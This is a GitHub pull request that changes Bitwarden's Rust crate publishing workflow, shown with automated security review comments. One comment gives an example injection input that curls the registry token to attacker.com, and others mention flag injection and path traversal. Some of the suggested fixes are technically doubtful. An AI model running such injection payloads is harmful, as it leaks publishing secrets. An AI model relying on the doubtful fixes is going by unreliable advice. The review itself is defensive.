Skip to content

ci(publish): add packages input for batched publishing #610

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
addisonbeck wants to merge 1 commit into
base: main
Choose a base branch
from
Open

ci(publish): add packages input for batched publishing #610

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 8 additions & 16 deletions .github/workflows/publish-rust-crates.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,11 @@ on:
required: true
type: string
default: latest
packages:
Copy link

@claude claude bot Dec 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Design: Input Validation at Workflow Level

While GitHub Actions type: string prevents some injection, it doesn't validate:

  • Package name format
  • Package existence in workspace
  • Empty strings
  • Special characters that could break bash parsing

Recommendation: Consider adding a description that documents expected format:

packages:
  description: "Space-separated list of packages to publish (valid workspace members only, e.g., 'bitwarden-core bitwarden-crypto')"
  required: false
  type: string
  default: "..."

Note: This doesn't prevent issues but improves UX. The bash script must still validate input.

description: "Space-separated list of packages to publish"
required: false
type: string
default: "bitwarden-api-api bitwarden-api-identity bitwarden-cli bitwarden-core bitwarden-crypto bitwarden-encoding bitwarden-error bitwarden-error-macro bitwarden-generators bitwarden-sm bitwarden-state bitwarden-threading bitwarden-uuid bitwarden-uuid-macro"

jobs:
setup:
Expand Down Expand Up @@ -121,23 +126,10 @@ jobs:
env:
PUBLISH_GRACE_SLEEP: 10
CARGO_REGISTRY_TOKEN: ${{ steps.retrieve-secrets.outputs.cratesio-api-token }}
PACKAGES_INPUT: ${{ inputs.packages }}
Copy link

@claude claude bot Dec 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: Potential Command Injection Vulnerability

The PACKAGES_INPUT environment variable passes user input directly from ${{ inputs.packages }} without quoting in the heredoc context. This creates a command injection risk.

Issue: If malicious input contains backticks, $(...), or other shell metacharacters, they could be executed.

Example Attack:

packages: "bitwarden-core $(curl https://attacker.com/exfiltrate?token=$CARGO_REGISTRY_TOKEN)"

Recommendation: Quote the variable assignment:

PACKAGES_INPUT: "${{ inputs.packages }}"

Or validate input against an allowlist pattern before use.

run: |
Copy link

@claude claude bot Dec 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Best Practice: Add Script Debugging and Safety

The bash script lacks safety flags and debugging output.

Recommendations:

  1. Add error handling flags:
set -euo pipefail
  • -e: Exit on error
  • -u: Exit on undefined variable
  • -o pipefail: Exit if any command in a pipeline fails
  1. Add debug output:
echo "Input packages: $PACKAGES_INPUT"
echo "Parsed package count: ${#PACKAGES[@]}"
echo "Package list: ${PACKAGES[*]}"
  1. Validate before execution:
if [[ ${#PACKAGES[@]} -eq 0 ]]; then
  echo "Error: No packages to publish"
  exit 1
fi

Example improved script:

run: |
  set -euo pipefail
  
  # Validate input
  if [[ -z "${PACKAGES_INPUT// /}" ]]; then
    echo "Error: packages input cannot be empty"
    exit 1
  fi
  
  # Convert space-separated string to array
  IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
  
  # Filter empty elements
  PACKAGES_FILTERED=()
  for pkg in "${PACKAGES[@]}"; do
    [[ -n "$pkg" ]] && PACKAGES_FILTERED+=("$pkg")
  done
  
  # Validate non-empty
  if [[ ${#PACKAGES_FILTERED[@]} -eq 0 ]]; then
    echo "Error: No valid packages after parsing"
    exit 1
  fi
  
  echo "Publishing ${#PACKAGES_FILTERED[@]} packages: ${PACKAGES_FILTERED[*]}"
  
  # Build flags and execute
  PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES_FILTERED[@]}")
  cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm

PACKAGES=(
bitwarden-api-api
bitwarden-api-identity
bitwarden-cli
bitwarden-core
bitwarden-crypto
bitwarden-encoding
bitwarden-error
bitwarden-error-macro
bitwarden-generators
bitwarden-sm
bitwarden-state
bitwarden-threading
bitwarden-uuid
bitwarden-uuid-macro
)
# Convert space-separated string to array
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
Copy link

@claude claude bot Dec 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Edge Case: Whitespace Handling Issues

The IFS=' ' read -ra approach has several edge cases:

  1. Multiple consecutive spaces: "bitwarden-core bitwarden-crypto" creates empty array elements
  2. Leading/trailing whitespace: " bitwarden-core " includes empty elements
  3. Tabs or newlines: Not handled as delimiters, treated as part of package names

Impact: Could result in invalid package flags like -p "" or malformed package names.

Recommendation: Use a more robust parsing approach:

# Normalize whitespace and filter empty elements
PACKAGES_INPUT=$(echo "$PACKAGES_INPUT" | xargs)
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"

Or use array filtering:

IFS=' ' read -ra PACKAGES_RAW <<< "$PACKAGES_INPUT"
PACKAGES=()
for pkg in "${PACKAGES_RAW[@]}"; do
  [[ -n "$pkg" ]] && PACKAGES+=("$pkg")
done

PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES[@]}")
Copy link

@claude claude bot Dec 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: Unvalidated Package Names

Package names from user input are used directly to construct command-line flags without validation. This creates risks:

  1. Command injection via flag injection: A package name like --execute; malicious-command could inject additional flags or commands
  2. Filesystem traversal: Names like ../../etc/passwd could access unintended files
  3. Nonexistent packages: No validation that package names exist in the workspace

Impact: Could publish wrong packages, fail the workflow, or in worst case, execute unintended commands.

Recommendation: Validate package names against a known allowlist:

# Define allowed packages
ALLOWED_PACKAGES="bitwarden-api-api bitwarden-api-identity bitwarden-cli bitwarden-core bitwarden-crypto bitwarden-encoding bitwarden-error bitwarden-error-macro bitwarden-generators bitwarden-sm bitwarden-state bitwarden-threading bitwarden-uuid bitwarden-uuid-macro"

# Validate each package
for pkg in "${PACKAGES[@]}"; do
  if ! echo "$ALLOWED_PACKAGES" | grep -qw "$pkg"; then
    echo "Error: Invalid package name: $pkg"
    exit 1
  fi
done

Or use workspace member validation:

WORKSPACE_MEMBERS=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[].name')
for pkg in "${PACKAGES[@]}"; do
  if ! echo "$WORKSPACE_MEMBERS" | grep -qx "$pkg"; then
    echo "Error: Package not in workspace: $pkg"
    exit 1
  fi
done

cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm
Copy link

@claude claude bot Dec 11, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Robustness: Missing Error Handling

Several error conditions are not handled:

  1. Empty package list: If PACKAGES_INPUT is empty or all whitespace, cargo-release is called with no -p flags, potentially publishing all workspace crates
  2. Command failure: No validation of array construction success
  3. Flag construction failure: No check if PACKAGE_FLAGS was built correctly

Impact: Could publish unintended packages or fail silently.

Recommendations:

  1. Validate non-empty input:
if [[ -z "$PACKAGES_INPUT" || "$PACKAGES_INPUT" =~ ^[[:space:]]*$ ]]; then
  echo "Error: packages input cannot be empty"
  exit 1
fi
  1. Validate array is non-empty:
if [[ ${#PACKAGES[@]} -eq 0 ]]; then
  echo "Error: No valid packages to publish"
  exit 1
fi
  1. Add debug output:
echo "Publishing packages: ${PACKAGES[*]}"
echo "Package flags: $PACKAGE_FLAGS"
  1. Quote the variable expansion to prevent word splitting:
cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm

Should be:

# Or better, use array directly:
cargo-release release publish "${PACKAGES[@]/#/-p }" --execute --no-confirm


Expand Down
Loading